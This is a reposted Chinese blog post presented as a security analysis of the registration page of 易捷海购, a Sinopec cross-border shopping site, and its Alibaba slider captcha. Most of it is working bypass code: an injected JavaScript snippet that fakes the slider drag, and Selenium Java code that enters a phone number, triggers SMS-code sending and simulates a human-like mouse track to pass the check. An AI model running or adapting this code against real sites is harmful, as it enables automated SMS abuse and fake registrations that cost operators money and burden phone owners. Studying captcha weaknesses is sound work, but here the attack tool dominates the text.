0


【易捷海购-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞在这里插入图片描述 所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 易捷海购PC 注册入口

简介:易捷国际简介
易捷国际是中石化易捷旗下专业跨境电商平台,前身为成立于2016年7月的“易捷海购”平台,以“搜罗全球,为美好生活加油”为品牌发展理念,为消费者提供优质贴心的跨境电商购物体验。
易捷国际主要通过组织开发及运营海外跨境商品,与中石化易捷非油品业务发展内外互补,致力打造中石化专业跨境商品进出口平台。面对激烈市场竞争,易捷国际一方面利用中石化(香港)公司独特地缘优势,通过全球开发及采购,为消费者带来“品正价宜”的海外原产地直供产品;另一方面依靠中石化易捷国内丰富线下资源,利用中石化三万家加油站及易捷便利店网络,融合线上线下非油品业务,实现流量综合开发及利用。

在这里插入图片描述

二、 安全性分析报告:

易捷海购采用的是阿里的滑动条,
阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>(function(){'use strict';
    /**
     * 休眠
     * [url=home.php?mod=space&uid=952169]@Param[/url]time    休眠时间,单位秒
     * @param desc
     * @returns {Promise<unknown>}
     */
    function sleep(time, desc){return new Promise(resolve =>{
            //sleep
            setTimeout(()=> {
                console.log(desc, time, 's')
                resolve(time)
            }, Math.floor(time *1000))})}
    /**
     * 监测节点是否存在
     * @param selector    CSS选择器
     * @param desc
     * @returns {Promise<unknown>}
     */
    function obsHas(selector, desc){return new Promise(resolve =>{
            //obs nodelet timer = setInterval(()=> {
                let target = document.querySelector(selector)
                if (!!target) {
                    clearInterval(timer)
                    console.log(desc, selector)
                    resolve(selector)
                } else {
                    return
                }
            },100)
        })
    }
    function slide(id) {
        var slider = document.getElementById(id),
            container = slider.parentNode;
 
        var rect = slider.getBoundingClientRect(),
            x0 = rect.x || rect.left,
            y0 = rect.y || rect.top,
            w = container.getBoundingClientRect().width,
            x1 = x0 + w,
            y1 = y0;
 
        var mousedown = document.createEvent("MouseEvents");
        mousedown.initMouseEvent("mousedown", true, true, window,0,
            x0, y0, x0, y0, false, false, false, false,0, null);
        slider.dispatchEvent(mousedown);
 
        var mousemove = document.createEvent("MouseEvents");
        mousemove.initMouseEvent("mousemove", true, true, window,0,
            x1, y1, x1, y1, false, false, false, false,0, null);
        slider.dispatchEvent(mousemove);
    }
    sleep(1,'sleep')
        .then(()=> obsHas('.nc_wrapper','has'))
        .then(()=> slide('nc_1_n1z'))})();</script>

1. 模拟器交互


public RetEntity send(WebDriver driver, String areaCode, String phone){
        RetEntity retEntity = new RetEntity();
        try {
            driver.get(INDEX_URL);

            // 输入手机号
            WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);
            phoneElemet.sendKeys(phone);

            Thread.sleep(1 * 1000);

            // 点击获取短信
            WebElement sendElemet = driver.findElement(By.className("get-code"));
            sendElemet.click();

            Thread.sleep(1 * 1000);

            AliClient.moveExec(driver, "nc_1_n1t", 280);

            Thread.sleep(1000);

            String gtInfo = sendElemet.getText();
            System.out.println("gtInfo=" + gtInfo);
            retEntity.setMsg(gtInfo);if(gtInfo.contains("秒后重试")){
                retEntity.setRet(0);}return retEntity;} catch (Exception e){
            System.out.println(e.toString());return null;}}

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance){
        try {
            // 获取滑动按钮
            WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);
            Actions actions = new Actions(driver);
            actions.moveToElement(moveElemet).perform();
            Thread.sleep(500);
            List<Integer> trackList = ActionMove.getTrack(distance);
            actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放
            for(Integer moveInt : trackList){
                actions.moveByOffset(moveInt, 0).perform();// 移动
            }
            actions.release(moveElemet).perform();// 释放鼠标左键
            // 滑动结果
            By langCntBy = By.className("nc-lang-cnt");
            WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);
            String langCntInfo =(langCntElemet != null) ? langCntElemet.getText(): null;if(langCntInfo != null && langCntInfo.contains("验证通过")){returntrue;}else{
                System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);returnfalse;}} catch (Exception e){
            System.out.println("AliClient.moveExec() e=" + e.toString());returnfalse;}}

3. 轨迹生成(单轴通过)


/**
     * 根据距离获取滑动轨迹
     * 
     * @param distance需要移动的距离
     * @return
     */
    public static List<Integer> getTrack(int distance){
        List<Integer> track = new ArrayList<Integer>();// 移动轨迹
        List<Integer[]> list = getXyTrack(distance);for(Integer[] m : list){
            track.add(m[0]);}return track;}

    /**
     * 双轴轨道生成算法,主要实现平滑加速和减速
     * 
     * @param distance
     * @return
     */
    public static List<Integer[]> getXyTrack(int distance){
        List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
        try {
            int a =(int)(distance / 3.0) + random.nextInt(10);
            int h =0, current =0;// 已经移动的距离
            BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
            BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
            BigDecimal move = null;// 每次循环移动的距离
            List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
            boolean plus =true;
            Double t =0.18, v=0.00, v0;while(current <= distance){
                h = random.nextInt(2);if(current > distance / 2){
                    h = h * -1;}
                v0 =v;v= v0 + a * t;
                move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
                if(move.intValue()<1)
                    move = new BigDecimal(1L);if(plus){
                    track.add(new Integer[]{ move.intValue(), h });}else{
                    subList.add(0, new Integer[]{ move.intValue(), h });}
                current += move.intValue();if(plus && current >= mid.intValue()){
                    plus =false;
                    move = new BigDecimal(0L);v=0.00;}}
            track.addAll(subList);
            int bk = current - distance;if(bk >0){for(int i =0; i < bk; i++){
                    track.add(new Integer[]{ -1, h });}}
            System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e){
            System.out.print(e.toString());return null;}}

4. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

易捷国际作为中石化易捷旗下专业跨境电商平台,大概是因为和阿里有战略合作层面的关系, 所以在选的不是常见的类似极验、腾讯等滑动拼图类产品, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

标签: 安全

本文转载自: https://blog.csdn.net/weixin_46641057/article/details/140219315
版权归原作者 风控牛 所有, 如有侵权,请联系我们删除。

“【易捷海购-注册安全分析报告】”的评论:

还没有评论